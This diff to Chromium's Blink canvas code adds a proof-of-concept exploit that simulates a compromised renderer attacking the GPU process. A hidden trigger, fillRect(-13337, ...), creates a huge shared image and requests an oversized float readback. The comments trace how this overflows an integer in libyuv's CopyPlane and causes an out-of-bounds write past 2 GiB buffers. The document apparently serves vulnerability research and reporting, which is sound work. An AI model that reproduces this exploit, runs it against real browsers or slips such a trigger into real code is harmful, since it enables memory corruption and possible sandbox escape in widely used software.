diff --git a/third_party/blink/renderer/modules/canvas/canvas2d/canvas_2d_recorder_context.cc b/third_party/blink/renderer/modules/canvas/canvas2d/canvas_2d_recorder_context.cc index 7b69fa346dbc0..a5a86535d225b 100644 --- a/third_party/blink/renderer/modules/canvas/canvas2d/canvas_2d_recorder_context.cc +++ b/third_party/blink/renderer/modules/canvas/canvas2d/canvas_2d_recorder_context.cc @@ -35,6 +35,19 @@ #include "cc/paint/paint_image.h" #include "cc/paint/record_paint_canvas.h" #include "components/viz/common/resources/shared_image_format_utils.h" +// --- POC includes (Strategy B injection) --------------------------------- +#include "components/viz/common/resources/shared_image_format.h" +#include "gpu/command_buffer/client/client_shared_image.h" +#include "gpu/command_buffer/client/raster_interface.h" +#include "gpu/command_buffer/client/shared_image_interface.h" +#include "gpu/command_buffer/common/shared_image_usage.h" +#include "gpu/ipc/common/surface_handle.h" +#include "third_party/blink/public/platform/web_graphics_context_3d_provider.h" +#include "third_party/blink/renderer/platform/graphics/gpu/shared_gpu_context.h" +#include "third_party/blink/renderer/platform/graphics/web_graphics_context_3d_provider_wrapper.h" +#include "ui/gfx/color_space.h" +#include "ui/gfx/geometry/size.h" +// ------------------------------------------------------------------------- #include "media/base/video_frame.h" #include "media/base/video_frame_metadata.h" #include "media/base/video_transformation.h" @@ -1705,10 +1718,101 @@ void Canvas2DRecorderContext::stroke(Path2D* dom_path) { SkPathFillType::kWinding, path2d_use_paint_cache_); } +// --------------------------------------------------------------------------- +// POC injection (Strategy B): simulate a compromised renderer attacking the +// GPU process via the raster command buffer. +// +// When triggered, this creates a 16384x8192 RGBA_8888 SharedImage and issues +// a ReadbackARGBImagePixelsINTERNALImmediate command requesting an +// RGBA_F32 (16 bpp) readback with row_bytes = 16384*16 = 262144. +// +// In the GPU process (raster_decoder.cc:2324), DoReadbackARGBImagePixelsINTERNAL: +// - byte_size = 262144 * 8192 = 2147483648 <= UINT32_MAX -> passes +// - On the Graphite backend, CopySharedImageHelper::ReadPixels reaches +// GraphiteImageReadPixels (copy_shared_image_helper.cc:599) which calls +// graphite_shared_context->asyncRescaleAndReadPixelsAndSubmit; the result's +// rowBytes(0) is dstInfo.minRowBytes() = 262144 (pixel-converter path, +// Skia Context.cpp:796) since src=RGBA8 != dst=F32. +// - libyuv::CopyPlane(result->data(0), 262144, shm, 262144, +// 16384*16=262144, 8192) is then invoked. +// - planar_functions.cc:47-49: src_stride==dst_stride==width==262144 -> +// coalesce -> width *= 8192 = 2^31 -> INT_MIN. +// - CopyRow_ERMS (row_gcc.cc:6581) sign-extends INT_MIN to +// rcx=0xFFFFFFFF80000000 and `rep movsb` writes past both 2 GiB buffers. +// +// The renderer-side ReadbackImagePixels() helper conveniently allocates the +// required ~2 GiB transfer buffer for us (the same code path a compromised +// renderer would invoke after subverting the per-call SkImageInfo it sends). +namespace { +void CopyPlaneOverflowAttackFromRenderer() { + LOG(ERROR) << "POC: CopyPlaneOverflowAttackFromRenderer firing"; + auto wrapper = SharedGpuContext::ContextProviderWrapper(); + if (!wrapper) { + LOG(ERROR) << "POC: no SharedGpuContext"; + return; + } + auto* sii = wrapper->ContextProvider().SharedImageInterface(); + auto* ri = wrapper->ContextProvider().RasterInterface(); + if (!sii || !ri) { + LOG(ERROR) << "POC: no SII/RI"; + return; + } + const int kW = 16384; + const int kH = 8192; + // 16384x8192 RGBA8 source (512 MiB GPU texture). + scoped_refptr src = sii->CreateSharedImage( + {viz::SinglePlaneFormat::kRGBA_8888, gfx::Size(kW, kH), gfx::ColorSpace(), + gpu::SHARED_IMAGE_USAGE_RASTER_READ | + gpu::SHARED_IMAGE_USAGE_RASTER_WRITE, + "CopyPlaneOverflowPOC"}, + gpu::kNullSurfaceHandle, std::nullopt); + if (!src) { + LOG(ERROR) << "POC: CreateSharedImage 16384x8192 failed"; + return; + } + // Mark the texture as cleared so BeginScopedReadAccess succeeds GPU-side. + { + auto access = + src->BeginRasterAccess(ri, sii->GenUnverifiedSyncToken(), + /*readonly=*/false); + ri->BeginRasterCHROMIUM(SkColors::kBlack, /*needs_clear=*/true, + /*msaa_sample_count=*/0, + gpu::raster::MsaaMode::kNoMSAA, + /*can_use_lcd_text=*/false, /*visible=*/true, + gfx::ColorSpace(), /*hdr_headroom=*/1.0f, + src->mailbox().name); + ri->EndRasterCHROMIUM(); + gpu::RasterScopedAccess::EndAccess(std::move(access)); + } + ri->Finish(); + + // Destination: F32 (16 bytes/pixel). row_bytes = 262144, height = 8192. + // width_param * height = 262144 * 8192 = 2^31 -> INT_MIN inside CopyPlane. + SkImageInfo dst = SkImageInfo::Make(kW, kH, kRGBA_F32_SkColorType, + kPremul_SkAlphaType); + const GLuint kRowBytes = static_cast(dst.minRowBytes()); // 262144 + LOG(ERROR) << "POC: issuing ReadbackImagePixels 16384x8192/F32 row_bytes=" + << kRowBytes; + // dst_pixels is unused when the GPU process crashes before WaitForCmd + // returns; pass nullptr (sync path bails on !*readback_result). + ri->ReadbackImagePixels(src->mailbox(), dst, kRowBytes, /*src_x=*/0, + /*src_y=*/0, /*plane_index=*/0, + /*dst_pixels=*/nullptr); + LOG(ERROR) << "POC: ReadbackImagePixels returned (GPU did not crash)"; + src->UpdateDestructionSyncToken(gpu::SyncToken()); +} +} // namespace +// --------------------------------------------------------------------------- + void Canvas2DRecorderContext::fillRect(double x, double y, double width, double height) { + // POC trigger from JS: ctx.fillRect(-13337, 0, 1, 1). + if (x == -13337.0) { + CopyPlaneOverflowAttackFromRenderer(); + return; + } if (!ValidateRectForCanvas(x, y, width, height)) { return; }